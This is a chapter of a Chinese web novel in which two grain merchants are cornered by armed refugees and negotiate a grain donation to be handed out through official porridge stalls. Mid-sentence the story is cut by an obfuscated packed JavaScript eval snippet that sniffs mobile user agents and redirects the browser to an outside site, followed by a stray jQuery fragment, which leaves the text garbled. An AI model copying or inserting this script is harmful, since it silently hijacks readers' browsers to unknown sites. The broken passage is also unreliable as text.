流民人数众多,就像一道密不透风的墙,冲向郁家的马车。
田大立即调转车头原路折返,他额头冒汗,心提到嗓子眼,他只想让耳边呼啸而过的风声再大些。
齐盛骑马在前引路,郁家马车在后跟随。
陡然瞧见一群流民围住他们,郁祯亦是心惊胆战。绵山县的生活太安逸了,许久未曾遇到这般危险的境况。
之前随军她和蓝俏曾遇到过许多意外事件,好几次是命悬一线,久而久之都习惯了。之后入皇宫,淑妃喜欢暗中使绊子针对她,她对于危险变得更加敏感。
重生后,除了在京都生活的那几个月,她因父亲的事忧心仲仲、焦虑万分,剩下的时光她都是安逸度日,无忧无虑。
太过于惬意的生活会令人失去对危险的警惕和防御。
马车驰行一阵,拐进去一条较窄的无人小径,车轮碾压过路上的枯树叶,吱呀作响。
在黄莺的记忆里,她很小的时候走过几次这条小径。
这条小径平时极少人走,只有老一辈的余平乡人才知道,只因十几年前,一场山体滑坡导致十几户人家被掩埋,这条路就被冠以危险和不吉的称谓。
越来越少人走,就越来越荒凉。路旁两边的灌木越长越茂密,让原本就不宽敞的路面越发拥挤。
就在所有人都卸下防备,认为已摆脱流民的围堵时,小路的前方又出现一堵堵人墙。这次的流民并没有山道上的那么多,但都是壮年男子且手中拿着棍棒。
马车再次被喝停,而这次没办法走回头路了,因为身后的灌木丛里也钻出许多手拿棍棒的流民。
黄莺掀开前车帘看着那群肤色黝黑,身穿麻衣草鞋,手持棍棒的流民,她面上虽还能维持冷静,但手心早已沁出汗。
郁祯也看到了那群人,很显然他们是有备而来。刚刚那群人不过是一个障眼法,就是为了逼他们走这条人烟稀少的小径。
流民虽然拿着武器却不动作,只将一车一马紧紧围住,齐盛他们就像被围困在笼里的鸟。
齐盛隐约猜到对方的来意,却不示弱,他目光平静直视前方,四平八稳地骑在马上,如同在欣赏一幅远山画景。
既然是对方有求于他,该着急的不是他。
双方这样对峙了一会。
流民群中一个干瘪瘦弱,双目有神的男子上前一步开口道:“请裕丰粮行两位东家下马续话。”
齐盛悠悠地开口道:“我与你并不相识何来续话一说。”
男子也不气恼,继续说道:“我等实乃走投无路才将两位围困在此,还请两位赏脸一续。还请放心,我等并非要危害两位性命。”
齐盛侧身向后看,马车里的郁祯探出头来,朝他点点头。她明白僵持在这里并不能解决问题。
俩人配合地下马,干瘪瘦弱的中年男子上前示意跟着他走,田大和黄莺想要跟着却被几个汉子拦住去路。郁祯朝他们摇头示意不必担心。
如今这个局势,虽是对方有求在先,奈何郁祯一行人势单力薄。
齐盛时刻警惕地护着郁祯,身后还有几个身型高壮些的男子跟随,俨然没有逃跑的可能。步行一段路,一行人穿过灌木丛将他俩带到一间荒废已久的茅草屋里。
十几年前的山体滑坡掩埋了十几户人家,剩下的几户人家也陆续搬走,只剩下空置的房屋在风吹日晒中逐渐破败。如同孤魂野鬼般游荡在这悠悠山谷之中。
茅草屋里还算干净,正中间有一张方木桌,和四张竹凳,应是有人擦拭过。墙四周还堆放着一些布满蜘蛛网和灰尘的竹筐和零散的农具。
郁祯和齐盛并排坐在竹凳上,他们对面坐着两个男子。
一位是那个干瘪瘦弱的中年男子。另一位较为年轻,身型精瘦且手掌粗大似乎是练家子,他满脸严肃,头发随意地用一根木枝插着,他并不看向郁祯和齐盛,垂眼盯着桌子,不知在思索什么。
郁祯和齐盛身后的墙有一扇高窗,午时的烈日通过高窗照在黄泥地上,拉出一条长条形的金色光影。光影中有飘絮浮动,起起伏伏。
单薄的门房处还站着两个手持木棍的男子,这两人眼也不眨地盯着郁祯和齐盛的一举一动。这间茅草屋已变成一座囚牢。
干瘪瘦弱的中年男子入座后率先开口:“两位应当猜到我等的打算。绵山县的难民越来越多,知府每日定量施粥,有些人今日吃得上,明日就吃不上。再这样下去会死人的。”
齐盛和郁祯对视一眼,两人都没想到对方那么直接。
齐盛并不接他的话,开口道:“阁下如何称呼?”
“无名氏。”
“您比我年长,我便称您无兄。您所说的米粥量少难以顾全所有难民,应当找绵山县的父母官,而不是我们。”
唤做无名氏的男子摇了摇头回道:“知府掌管着义仓的钥匙,但是义仓是本地百姓上交多余粮食所存,自然不会救济我们这些外县流民。找官府无济于事。”
“官府也无能为力的事,我们也是无可奈何。”
中年男子不气反笑:“哈!齐公子,我手里没有官府的把柄,自然对他们无可奈何,但如今,两位的性命在我手上。应或不应就不由得两位了。”
中年男子说完,坐在一旁的年轻男子抬起头迅速巡视一圈对面两人的表情,见对方俩人还算镇定,复又低下头。
这微小的动作并没有引起在场人的注意。
郁祯见对方无所忌惮,反问道:“你用我们的性命来威胁!我们自然不敢不从,但你不怕秋后算账吗?你应当知道我俩的身份。”一个是知府的侄女,一个是知府的外甥。
对方竟如此肆无忌惮地说拿捏他们的性命,将律法视为何物?
“法不责众。若真要追究,我不过是烂命一条,又有何惧。他能杀我,但能杀千千万万个我吗?”无名氏猖狂地说道,他神情混着癫狂和无畏,一副无所畏惧、舍生取义的姿态。
若郁祯和齐盛今日折在这里,知府只能抓几个主犯以示惩戒。
郁祯心想,他们可以拖延时间,拖到李戴兰发现郁祯和黄莺深夜未归,拖到大伯派出人马全城搜查,拖到府差找了他们的藏匿处,但是几十个府差如何能降住成千上万的流民。
中年男子说他是烂命一条,可郁祯不是,她这条命是好不容易重获新生的,钱财虽好但是在性命面前不值一提。
郁祯给齐盛使了使眼色。她妥协地开口道:“还麻烦给我们一刻钟的时间,容我们商量一下。”
中年男子情绪稍缓,静思片刻后点点头,便招呼其他人出去等候。
四人一离开屋子,剑拔弩张的氛围即刻消失。
齐盛垂下双肩活像被霜打了的茄子,唉声叹气:“这都是什么世道。摆明了强抢,还要假模假样的与我们推心置腹。”
“匹夫无罪,怀璧其罪。我们收粮的事终究是掩盖不住的。”当时收粮已经是尽可能的低调行事,但天底下没有不透风的墙。甚至有传闻说裕丰囤了半个成都府的粮食。
齐盛已经没有心思在听郁祯讲什么了,他搬起凳子放在墙脚下试图通过那扇高窗逃脱,那扇窗户又高又窄,窄长的形状,别说塞进去一个成年男子,就算是一个十二三岁的小姑娘也会卡住。
“别瞎折腾了,没用的!”
“那不一定,说不定我会缩骨功呢!”
郁祯颇为无语,默默翻了个白眼。继续说道:“你觉得他们想要多少粮食?”
齐盛试了几下发现那个窗户连头都塞不进去,只得作罢。他拍了拍黛色外衣上沾染的墙灰,听到郁祯的问题后,沉思片刻。
“不管他要多少,能给多少由我们定。”齐盛说完,右手的食指和中指一同竖起来,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405394|184434||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是他的底线了,再多恐怕大家都不好过。郁祯明白他的意思。齐盛说的“由我们定”并没有那么容易,毕竟现在是被人拿捏着,但若是郁祯和齐盛不松口,干耗着于他们也不利。
郁祯前世没有到过蜀地,也不清楚这场旱灾会给蜀地带来多大的灾难。倘若蜀地饿殍遍野,于情于理他们也不会袖手旁观。
于是开始收粮的时候,郁祯和齐盛便预了三千石的粮食作为赈灾粮。
只是昨日丛屹找上门借粮让郁祯措手不及,西北军想要裕丰所有的粮食,那么赈灾粮也会被借走,哪里还能匀出三千石救灾。
可以说这两千石粮食是从丛屹手里扣下来的。而且这些流民的态度,多多少少让郁祯感到不满。我可以自愿施善但不能强迫我行善。
一刻钟后,四人又出现在屋内,还是那样的站位。
第二轮谈判开始。
“我们商量好了,只能给诸位一千石。”郁祯先发制人开口道。
“哼~裕丰粮行的东家也太没有诚意了。两条命只值一千石粮食?”
齐盛接着道:“不是我们不想给,实在是不巧,有位军爷昨天来裕丰要了全部粮食。我们也不想给,但他硬要借。你若是硬的过西北军的拳头,那你同他说去。”
对方一听西北军脸色微变。双拳紧握似乎难以置信:“竟有如此巧合之事。刚才怎么不说?莫不是诓我?”
“既然裕丰粮行是块肥肉,那怎么就许你们盯着呢。”齐盛双手抱胸,吊儿郎当地说出来,好似真的是为对方考虑一般。“有些事情知道太多了,对大家并没有益处。你若不信可以派人去粮仓盯着,不出五日必定有来人搬空粮仓。”
年轻精瘦的男子在听到西北军这三个字后,顿了顿,他没有抬头而是快速用余光瞟了一眼在场的所有人。
屋内又陷入无声的沉默。
中年男子实在是没想到会是这样的局面,他只知西北军与朝廷在河中府对峙,未曾想西北军竟潜入到蜀地借粮,裕丰粮行真是树大招风。
“五千石。”
“那你不应该找我们谈。你们应该找西北军谈。”齐盛接着说道,他已经认定西北军这块挡箭牌能让他们知难而退。
“三千石。”他继续讨价还价道。
“两千石再附上三百石的面粉。可以立字据作保,裕丰是自愿捐粮救灾。但是有个条件,粮食只能通过官府的粥铺以施粥的方式发放。明日辰时一刻,第一车稻米会准时到城郊的粥铺。您若信不过可以亲自来清点数量。如何?”
郁祯迅速地说出这段话,她早已设想粮食以何种方式发到难民手里。对方不相信自己,自己也不相信对方,通过官府施粥赈灾是最妥当的法子。
从说出西北军开始,对方的期待就一直在降低,待郁祯说出两千石时候,已然瓦解了对方的最后的坚持。
中年男子沉吟片刻,勉强答应。
“对了,我还要提醒各位。刚刚听到的那件事,还是烂在肚子里好。在他们眼里我等都是小虾米,捏死你我轻而易举。”齐盛好心提醒道。
此话一出在场的所有人都僵住了,他们脸色极其难看,从西北军盘里抢食确实胆大妄为。
无名氏兄抱拳回道:“我们自然有分寸。”
齐盛招了招手:“笔墨纸砚拿来吧。”
字据立的很简单:裕丰自愿捐献两千石稻米和三百石面粉用于救助流民。将于明日统一运到城郊流民处由官府施粥处保管。
中年男子收了字据,说了几句场面话,便让那个年轻男子送俩人出去。年轻男子将二人带到马车停放的小径上,四周围住的流民早已消散不见。
临登车前,郁祯瞥了一眼那个年轻男子,她总觉得这人似曾相识。
郁祯一行人走后,这名年轻男子抄了条近路到余平乡,敲响了一座茅草屋的院门。